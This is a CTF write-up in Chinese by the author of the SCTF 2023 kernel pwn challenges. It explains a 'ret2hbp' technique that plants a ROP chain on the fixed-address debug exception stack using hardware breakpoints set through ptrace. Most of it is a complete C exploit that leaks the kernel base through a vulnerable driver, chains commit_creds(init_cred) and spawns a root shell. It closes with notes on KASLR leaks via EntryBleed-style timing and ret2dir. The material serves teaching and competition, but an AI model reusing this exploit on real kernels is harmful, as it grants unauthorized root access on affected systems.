SCTF 2023 kernel pwn
题外话:打个广告 笔者是2024届毕业本科学生,参加今年秋招,欢迎联系~
这道题想考察的是两个点。
- cpu entry area mapping区域的起始点有几个和内核text段偏移固定的地址,具体参考下图,这只是一个小trick,首次出现在谷歌的KCTF,后面在国际赛中出现过几次
- 通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上,而在linux 6.2之前, per cpu entry area没有加入随机化,地址固定,所以可以达到在内核固定地址造ROP链的手段,这是本题的创新点,笔者暂且命名为: ret2hbp,命名只是方便大家描述这种攻击手法,笔者并不声称独创性,事实上,内核利用的发展路程本身的魅力已经足够吸引人,在海边沙滩上捡到一个贝壳已经足够开心 : )
具体地址和偏移相关参考exp,还是希望各位师傅能自己调试一番
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>
void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void teardown()
{
kill(hbp_pid,9);
}
void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
teardown();
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
teardown();
exit(1);
}
}
void hbp_raw_fire()
{
if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
{
printf("Failed to PTRACE_CONT: %m\n");
teardown();
exit(1);
}
}
void getRootShell(void)
{
if(getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
cpu_set_t mask;
map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
switch(hbp_pid = fork())
{
case 0: //child
//pin cpu
CPU_ZERO(&mask);
CPU_SET(cpu,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi;"
"mov r13, init_cred;" // start at there
"mov r12, commit_cred;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x77777777;"
"mov r11, 0x77777777;"
"mov r10, getshelladdr;"
"mov r9, user_cs;"
"mov r8, user_rflags;"
"mov rax, user_sp;"
"mov rcx, user_ss;"
"mov rdx, 0xcccccccc;"
"mov rsi, 0xa000000;"
"mov rdi, [rsi];"
);
exit(1);
case -1:
printf("fork: %m\n");
exit(1);
default: //parent. Just exit switch
break;
}
int status;
//Watch for stop:
puts("Waiting for child");
while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
{
sched_yield();
}
puts("Setting breakpoint");
create_hbp(map);
}
int main()
{
saveStatus();
int fd = open("/dev/seven", O_RDWR);
if(fd < 0) perror("Error open");
unsigned long addr = ioctl(fd,0x5555,0xfffffe0000000000+4);
printf("0x%llx\n",addr-0x1008e00);
kernel_base = addr-0x1008e00;
init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
init(1);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
ioctl(fd,0x6666,0xfffffe0000010f60);
}
事实上,这只是一道1day利用题,基本思路就是谷歌pj0的这一篇文章,笔者所做工作只是把它出成一道CTF题,方便大家学习到这个我个人觉得威力强大且有趣的利用方法,体会只能在一个地址写一个字节就能getshell的魅力。 https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1
这是一道涉及到内核信息泄露0day的题,然而存在了非预期解(两个做出的队伍都是非预期)
题目为去掉了leak的sycrop加强版,因为版本用的是6.2,per cpu entry area添加了随机化
- 首先还是得leak ,这里涉及的点是CPU 漏洞,注意到启动脚本中的 -enable-kvm和-cpu host,用的是物理机的cpu,事实上,大部分情况下,intel cpu都受到这个漏洞的影响,具体参考1day Entrybleed文章(https://www.willsroot.io/2022/12/entrybleed.html#comment-form),用上面的脚本即可跑出kaslr
- 接下来的ROP部分,按照sycrop的思路,应该栈迁移到DB stack上,但此时per cpu entry area加入了随机化,所以DB stack也跟着随机化(它在per cpu entry area + 0xf000这个偏移上),但事实上,KPTI开启的情况下,不止系统调用入口点会被映射到用户态(EntryBleed的entry_SYSCALL_64),per cpu entry area也被映射,所以是可以通过预取指令计算时间差的方法得到偏移的,具体脚本得等厂商同意披露才能发(但其实上面已经讲明白了相信师傅们能搓出来)
- 关于非预期,rop部分可以采用ret2dir,这是笔者的疏忽,出题时也想过ret2dir能不能打,但时间关系完成了题目主体部分居然就忘了管这事了,不过也还好,起码这道题能有解 (